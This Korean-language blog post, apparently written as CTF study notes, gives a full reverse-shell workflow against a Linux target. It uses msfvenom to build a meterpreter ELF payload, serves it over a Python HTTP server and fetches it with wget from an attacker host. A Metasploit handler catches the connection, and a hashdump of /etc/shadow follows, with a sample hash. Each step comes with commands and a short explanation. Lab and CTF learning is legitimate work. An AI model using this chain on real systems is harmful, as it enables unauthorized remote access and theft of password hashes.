msf reverse shell

agnusdei·2025년 9월 14일
0

CTF

목록 보기
119/168
post-thumbnail

1️⃣ Linux Executable and Linkable Format (ELF) 쉘코드 생성

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf

원리

  • msfvenom은 메타스플로잇(Metasploit)에서 쉘코드(shellcode)와 페이로드(payload)를 생성하는 도구입니다.

  • -p linux/x86/meterpreter/reverse_tcp:

    • linux/x86: 리눅스 32비트용
    • meterpreter/reverse_tcp: 리버스 쉘(reverse shell) 페이로드. 목표 시스템에서 공격자 시스템으로 연결을 시도합니다.
  • LHOST=10.10.X.X: 공격자 머신 IP

  • LPORT=XXXX: 공격자 머신 포트

  • -f elf: ELF(Executable and Linkable Format) 실행파일 포맷으로 생성

  • 결과 파일: rev_shell.elf

원리 요약: ELF 파일 안에는 리버스 쉘코드가 포함되어 있어서 실행 시 공격자에게 연결을 시도합니다.


2️⃣ 공격 대상 시스템으로 파일 전송

공격자 시스템에서 Python HTTP 서버 실행

python3 -m http.server 9000
  • Python3 내장 모듈 http.server를 사용하면 간단히 웹서버를 띄워 파일을 공유할 수 있음.
  • 포트: 9000

공격 대상 시스템에서 파일 다운로드

wget http://ATTACKING_MACHINE_IP:9000/rev_shell.elf
  • wget으로 HTTP 서버에서 파일 다운로드
  • 다운로드 받은 파일은 현재 작업 디렉토리에 저장

원리: HTTP 프로토콜을 이용한 파일 전송. 네트워크 상에서 쉽게 ELF 파일을 전달 가능.


3️⃣ 리버스 쉘 연결 준비 (Metasploit)

Metasploit 설정

msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 10.10.X.X
set LPORT XXXX
run

원리

  • exploit/multi/handler페이로드를 처리하는 핸들러(handler).

  • 목표 시스템에서 실행한 ELF 파일이 연결 시도하면, 이 핸들러가 연결을 받아 Meterpreter 세션을 생성.

  • Meterpreter는 고급 쉘(shell) 기능 제공:

    • 파일 업로드/다운로드
    • 프로세스 실행
    • 패스워드 덤프 등 포스트 익스플로잇(post-exploitation) 기능

4️⃣ ELF 파일 실행

chmod +x rev_shell.elf
./rev_shell.elf

원리

  • chmod +x: 실행 권한 부여

  • ./rev_shell.elf 실행 시:

    1. ELF 안에 포함된 쉘코드 실행
    2. 공격자 시스템으로 TCP 연결 시도
    3. Metasploit 핸들러가 연결을 받아 리버스 쉘 세션 시작

원리 요약: 실행 즉시 공격자에게 쉘 연결 시도 → Meterpreter 세션 형성


5️⃣ 포스트 익스플로잇(Post Exploitation) – 해시 덤프

run post/linux/gather/hashdump

원리

  • Meterpreter 모듈을 통해 리눅스 시스템의 패스워드 해시를 덤프
  • /etc/shadow 파일에서 사용자 패스워드 해시를 읽음
  • 예시 결과:
$6$Sy0NNIXw$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0
  • $6$ → SHA-512 해시 알고리즘 사용
  • $Sy0NNIXw$ → 솔트(salt)
  • $SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0 → 실제 해시

원리 요약: 패스워드는 평문이 아니라 해시+솔트 형태로 저장. 해시 덤프 후 오프라인에서 크랙 가능.


🔹 전체 원리 요약

  1. 페이로드 생성 → 리버스 쉘 ELF 파일
  2. 파일 전송 → HTTP 서버 & wget
  3. 리버스 쉘 연결 준비 → Metasploit handler
  4. 파일 실행 → 목표 시스템에서 공격자 연결
  5. 포스트 익스플로잇 → 사용자 해시 덤프, 권한 상승, 정보 수집 가능

profile
DevSecOps ⚙️ + CTF🚩

0개의 댓글